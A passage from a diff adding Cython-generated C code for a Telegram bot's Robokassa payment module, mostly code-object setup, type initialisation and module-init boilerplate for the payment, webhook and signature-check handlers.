__pyx_n_s_e, __pyx_n_s_inv_id, __pyx_n_s_tg_id, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__36)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__36); + __Pyx_GIVEREF(__pyx_tuple__36); + __pyx_codeobj__7 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__36, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_process_amount_selection, 116, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__7)) __PYX_ERR(0, 116, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":161 + * + * + * async def robokassa_webhook(request): # <<<<<<<<<<<<<< + * """ webhook- Robokassa shp_id.""" + * try: + */ + __pyx_tuple__37 = PyTuple_Pack(8, __pyx_n_s_request, __pyx_n_s_params, __pyx_n_s_amount, __pyx_n_s_inv_id, __pyx_n_s_shp_id, __pyx_n_s_signature_value, __pyx_n_s_tg_id, __pyx_n_s_e); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__37, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_robokassa_webhook, 161, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 161, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":203 + * + * + * def check_payment_signature(params): # <<<<<<<<<<<<<< + * """ Robokassa shp_id.""" + * out_sum = params.get("OutSum") + */ + __pyx_tuple__38 = PyTuple_Pack(7, __pyx_n_s_params, __pyx_n_s_out_sum, __pyx_n_s_inv_id, __pyx_n_s_signature_value, __pyx_n_s_shp_id, __pyx_n_s_signature_string, __pyx_n_s_expected_signature); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__38); + __Pyx_GIVEREF(__pyx_tuple__38); + __pyx_codeobj__39 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__38, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_check_payment_signature, 203, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__39)) __PYX_ERR(0, 203, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":224 + * + * + * @router.callback_query(F.data == "enter_custom_amount_robokassa") # <<<<<<<<<<<<<< + * async def process_custom_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__40 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_tg_id, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__40)) __PYX_ERR(0, 224, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__40); + __Pyx_GIVEREF(__pyx_tuple__40); + __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__40, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_process_custom_amount_selection, 224, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 224, __pyx_L1_error) + + /* "handlers/payments/robokassa_pay.py":244 + * + * + * @router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) # <<<<<<<<<<<<<< + * async def handle_custom_amount_input(message: types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + __pyx_tuple__41 = PyTuple_Pack(8, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_tg_id, __pyx_n_s_inv_id, __pyx_n_s_amount, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__41); + __Pyx_GIVEREF(__pyx_tuple__41); + __pyx_codeobj__28 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 8, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__41, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_robokassa_pay_2, __pyx_n_s_handle_custom_amount_input, 244, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__28)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if (unlikely(!__pyx_float_0_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_400 = PyInt_FromLong(400); if (unlikely(!__pyx_int_400)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_500 = PyInt_FromLong(500); if (unlikely(!__pyx_int_500)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + +static int __Pyx_modinit_global_init_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_global_init_code", 0); + /*--- Global init code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_export_code", 0); + /*--- Variable export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_export_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_export_code", 0); + /*--- Function export code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_type_init_code(void) { + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("__Pyx_modinit_type_init_code", 0); + /*--- Type init code ---*/ + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa)) __PYX_ERR(0, 65, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa) < 0) __PYX_ERR(0, 65, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection)) __PYX_ERR(0, 116, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection) < 0) __PYX_ERR(0, 116, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)) __PYX_ERR(0, 161, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook) < 0) __PYX_ERR(0, 161, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)) __PYX_ERR(0, 224, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection) < 0) __PYX_ERR(0, 224, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + #if CYTHON_USE_TYPE_SPECS + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = (PyTypeObject *) __Pyx_PyType_FromModuleAndSpec(__pyx_m, &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_spec, NULL); if (unlikely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)) __PYX_ERR(0, 244, __pyx_L1_error) + if (__Pyx_fix_up_extension_type_from_spec(&__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_spec, __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + #else + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = &__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + #endif + #if !CYTHON_USE_TYPE_SPECS + if (__Pyx_PyType_Ready(__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + #endif + #if PY_MAJOR_VERSION < 3 + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_print = 0; + #endif + #if !CYTHON_COMPILING_IN_LIMITED_API + if ((CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP) && likely(!__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_dictoffset && __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_getattro == PyObject_GenericGetAttr)) { + __pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input->tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + } + #endif + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} + +static int __Pyx_modinit_type_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_type_import_code", 0); + /*--- Type import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_variable_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_variable_import_code", 0); + /*--- Variable import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + +static int __Pyx_modinit_function_import_code(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_modinit_function_import_code", 0); + /*--- Function import code ---*/ + __Pyx_RefNannyFinishContext(); + return 0; +} + + +#if PY_MAJOR_VERSION >= 3 +#if CYTHON_PEP489_MULTI_PHASE_INIT +static PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def); /*proto*/ +static int __pyx_pymod_exec_robokassa_pay(PyObject* module); /*proto*/ +static PyModuleDef_Slot __pyx_moduledef_slots[] = { + {Py_mod_create, (void*)__pyx_pymod_create}, + {Py_mod_exec, (void*)__pyx_pymod_exec_robokassa_pay}, + {0, NULL} +}; +#endif + +#ifdef __cplusplus +namespace { + struct PyModuleDef __pyx_moduledef = + #else + static struct PyModuleDef __pyx_moduledef = + #endif + { + PyModuleDef_HEAD_INIT, + "robokassa_pay", + 0, /* m_doc */ + #if CYTHON_PEP489_MULTI_PHASE_INIT + 0, /* m_size */ + #elif CYTHON_USE_MODULE_STATE + sizeof(__pyx_mstate), /* m_size */ + #else + -1, /* m_size */ + #endif + __pyx_methods /* m_methods */, + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_moduledef_slots, /* m_slots */ + #else + NULL, /* m_reload */ + #endif + #if CYTHON_USE_MODULE_STATE + __pyx_m_traverse, /* m_traverse */ + __pyx_m_clear, /* m_clear */ + NULL /* m_free */ + #else + NULL, /* m_traverse */ + NULL, /* m_clear */ + NULL /* m_free */ + #endif + }; + #ifdef __cplusplus +} /* anonymous namespace */ +#endif +#endif + +#ifndef CYTHON_NO_PYINIT_EXPORT +#define __Pyx_PyMODINIT_FUNC PyMODINIT_FUNC +#elif PY_MAJOR_VERSION < 3 +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" void +#else +#define __Pyx_PyMODINIT_FUNC void +#endif +#else +#ifdef __cplusplus +#define __Pyx_PyMODINIT_FUNC extern "C" PyObject * +#else +#define __Pyx_PyMODINIT_FUNC PyObject * +#endif +#endif + + +#if PY_MAJOR_VERSION < 3 +__Pyx_PyMODINIT_FUNC initrobokassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC initrobokassa_pay(void) +#else +__Pyx_PyMODINIT_FUNC PyInit_robokassa_pay(void) CYTHON_SMALL_CODE; /*proto*/ +__Pyx_PyMODINIT_FUNC PyInit_robokassa_pay(void) +#if CYTHON_PEP489_MULTI_PHASE_INIT +{ + return PyModuleDef_Init(&__pyx_moduledef); +} +static CYTHON_SMALL_CODE int __Pyx_check_single_interpreter(void) { + #if PY_VERSION_HEX >= 0x030700A1 + static PY_INT64_T main_interpreter_id = -1; + PY_INT64_T current_id = PyInterpreterState_GetID(PyThreadState_Get()->interp); + if (main_interpreter_id == -1) { + main_interpreter_id = current_id; + return (unlikely(current_id == -1)) ? -1 : 0; + } else if (unlikely(main_interpreter_id != current_id)) + #else + static PyInterpreterState *main_interpreter = NULL; + PyInterpreterState *current_interpreter = PyThreadState_Get()->interp; + if (!main_interpreter) { + main_interpreter = current_interpreter; + } else if (unlikely(main_interpreter != current_interpreter)) + #endif + { + PyErr_SetString( + PyExc_ImportError, + "Interpreter change detected - this module can only be loaded into one interpreter per process."); + return -1; + } + return 0; +} +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *module, const char* from_name, const char* to_name, int allow_none) +#else +static CYTHON_SMALL_CODE int __Pyx_copy_spec_to_module(PyObject *spec, PyObject *moddict, const char* from_name, const char* to_name, int allow_none) +#endif +{ + PyObject *value = PyObject_GetAttrString(spec, from_name); + int result = 0; + if (likely(value)) { + if (allow_none || value != Py_None) { +#if CYTHON_COMPILING_IN_LIMITED_API + result = PyModule_AddObject(module, to_name, value); +#else + result = PyDict_SetItemString(moddict, to_name, value); +#endif + } + Py_DECREF(value); + } else if (PyErr_ExceptionMatches(PyExc_AttributeError)) { + PyErr_Clear(); + } else { + result = -1; + } + return result; +} +static CYTHON_SMALL_CODE PyObject* __pyx_pymod_create(PyObject *spec, PyModuleDef *def) { + PyObject *module = NULL, *moddict, *modname; + CYTHON_UNUSED_VAR(def); + if (__Pyx_check_single_interpreter()) + return NULL; + if (__pyx_m) + return __Pyx_NewRef(__pyx_m); + modname = PyObject_GetAttrString(spec, "name"); + if (unlikely(!modname)) goto bad; + module = PyModule_NewObject(modname); + Py_DECREF(modname); + if (unlikely(!module)) goto bad; +#if CYTHON_COMPILING_IN_LIMITED_API + moddict = module; +#else + moddict = PyModule_GetDict(module); + if (unlikely(!moddict)) goto bad; +#endif + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "loader", "__loader__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "origin", "__file__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "parent", "__package__", 1) < 0)) goto bad; + if (unlikely(__Pyx_copy_spec_to_module(spec, moddict, "submodule_search_locations", "__path__", 0) < 0)) goto bad; + return module; +bad: + Py_XDECREF(module); + return NULL; +} + + +static CYTHON_SMALL_CODE int __pyx_pymod_exec_robokassa_pay(PyObject *__pyx_pyinit_module) +#endif +#endif +{ + int stringtab_initialized = 0; + #if CYTHON_USE_MODULE_STATE + int pystate_addmodule_run = 0; + #endif + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + PyObject *__pyx_t_4 = NULL; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + unsigned int __pyx_t_8; + int __pyx_t_9; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + #if CYTHON_PEP489_MULTI_PHASE_INIT + if (__pyx_m) { + if (__pyx_m == __pyx_pyinit_module) return 0; + PyErr_SetString(PyExc_RuntimeError, "Module 'robokassa_pay' has already been imported. Re-initialisation is not supported."); + return -1; + } + #elif PY_MAJOR_VERSION >= 3 + if (__pyx_m) return __Pyx_NewRef(__pyx_m); + #endif + /*--- Module creation code ---*/ + #if CYTHON_PEP489_MULTI_PHASE_INIT + __pyx_m = __pyx_pyinit_module; + Py_INCREF(__pyx_m); + #else + #if PY_MAJOR_VERSION < 3 + __pyx_m = Py_InitModule4("robokassa_pay", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #elif CYTHON_USE_MODULE_STATE + __pyx_t_1 = PyModule_Create(&__pyx_moduledef); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) + { + int add_module_result = PyState_AddModule(__pyx_t_1, &__pyx_moduledef); + __pyx_t_1 = 0; /* transfer ownership from __pyx_t_1 to "robokassa_pay" pseudovariable */ + if (unlikely((add_module_result < 0))) __PYX_ERR(0, 1, __pyx_L1_error) + pystate_addmodule_run = 1; + } + #else + __pyx_m = PyModule_Create(&__pyx_moduledef); + if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #endif + CYTHON_UNUSED_VAR(__pyx_t_1); + __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error) + Py_INCREF(__pyx_d); + __pyx_b = __Pyx_PyImport_AddModuleRef(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_cython_runtime = __Pyx_PyImport_AddModuleRef((const char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error) + if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if CYTHON_REFNANNY +__Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny"); +if (!__Pyx_RefNanny) { + PyErr_Clear(); + __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny"); + if (!__Pyx_RefNanny) + Py_FatalError("failed to import 'refnanny' module"); +} +#endif + __Pyx_RefNannySetupContext("__Pyx_PyMODINIT_FUNC PyInit_robokassa_pay(void)", 0); + if (__Pyx_check_binary_version(__PYX_LIMITED_VERSION_HEX, __Pyx_get_runtime_version(), CYTHON_COMPILING_IN_LIMITED_API) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pxy_PyFrame_Initialize_Offsets + __Pxy_PyFrame_Initialize_Offsets(); + #endif + __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error) + #ifdef __Pyx_CyFunction_USED + if (__pyx_CyFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_FusedFunction_USED + if (__pyx_FusedFunction_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Coroutine_USED + if (__pyx_Coroutine_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_Generator_USED + if (__pyx_Generator_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_AsyncGen_USED + if (__pyx_AsyncGen_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + #ifdef __Pyx_StopAsyncIteration_USED + if (__pyx_StopAsyncIteration_init(__pyx_m) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #endif + /*--- Library function declarations ---*/ + /*--- Threads initialization code ---*/ + #if defined(WITH_THREAD) && PY_VERSION_HEX < 0x030700F0 && defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS + PyEval_InitThreads(); + #endif + /*--- Initialize various global constants etc. ---*/ + if (__Pyx_InitConstants() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + stringtab_initialized = 1; + if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error) + #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) + if 